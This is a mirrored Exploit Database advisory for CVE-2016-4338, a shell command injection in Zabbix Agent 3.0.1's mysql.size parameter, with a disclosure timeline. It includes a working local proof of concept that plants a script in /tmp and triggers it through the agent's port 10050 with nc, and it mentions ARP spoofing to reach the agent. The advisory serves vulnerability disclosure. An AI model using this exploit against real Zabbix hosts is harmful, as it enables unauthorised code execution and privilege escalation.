Zabbix Agent 3.0.1 – ‘mysql.size’ Shell Command Injection

• Exploit Database
• 14 阅读

• 作者： Timo Lindfors
  日期： 2016-05-04
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39769/

• CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection
  --------------------------------------------------------------------
  
  Affected products
  =================
  
  At least Zabbix Agent 1:3.0.1-1+wheezy from
  http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions
  were not tested.
  
  Background
  ==========
  
  "Zabbix agent is deployed on a monitoring target to actively monitor
  local resources and applications (hard drives, memory, processor
  statistics etc).
  
  The agent gathers operational information locally and reports data to
  Zabbix server for further processing. In case of failures (such as a
  hard disk running full or a crashed service process), Zabbix server
  can actively alert the administrators of the particular machine that
  reported the failure.
  
  Zabbix agents are extremely efficient because of use of native system
  calls for gathering statistical information."
  
  -- https://www.zabbix.com/documentation/3.0/manual/concepts/agent
  
  Description
  ===========
  
  Zabbix agent listens on port 10050 for connections from the Zabbix
  server. The commands can be built-in or user-defined.
  
  The mysql.size user parameter defined in
  /etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input
  parameters and uses a shell script to generate an SQL query:
  
  UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N
  
  The code assumes that /bin/sh is bash that supports the [[ compound
  command. However, if /bin/sh is for example dash the statement
  
  [[ "$1" = "all" || ! "$1" ]]
  
  ends up executing the command "$1" with the argument "]]".
  
  Exploit
  =======
  
  Zabbix sanitizes the input and blocks many dangerous characters
  ("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot
  give our shell commands any parameters which significantly reduces the
  impact of this vulnerability. If you find a way to execute arbitrary
  commands using this flaw I'd be really interested in the details. The
  following proof-of-concept shows how the vulnerability can be used
  escalate privileges locally:
  
  $ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned
  $ chmod a+rx /tmp/owned
  $ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A
  ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$
  This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$
  sh: 1: [[: not found$
  sh: 1: all: not found$
  
  The exploit of course assumes that the Server line in the
  configuration includes "127.0.0.1". If the agent is configured to
  accept connections only from the Zabbix server. In that case this
  issue can only be exploited from the server or by spoofing the IP
  address of the server (with for example ARP spoofing).
  
  Since output of the command is piped to mysql it might be possible to
  also execute some SQL commands in the database.
  
  Author
  ======
  
  This issue was discovered by Timo Lindfors from Nixu Corporation.
  
  Timeline
  ========
  
  2016-04-19: Issue discovered and reported internally for verification.
  2016-04-21: Issue reported to vendor.
  2016-04-22: Vendor acknowledges vulnerability and starts patching.
  2016-04-26: Asked status update from vendor.
  2016-04-26: Vendor responds that the issue is still being patched.
  2016-04-26: CVE requested from MITRE.
  2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.
  2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741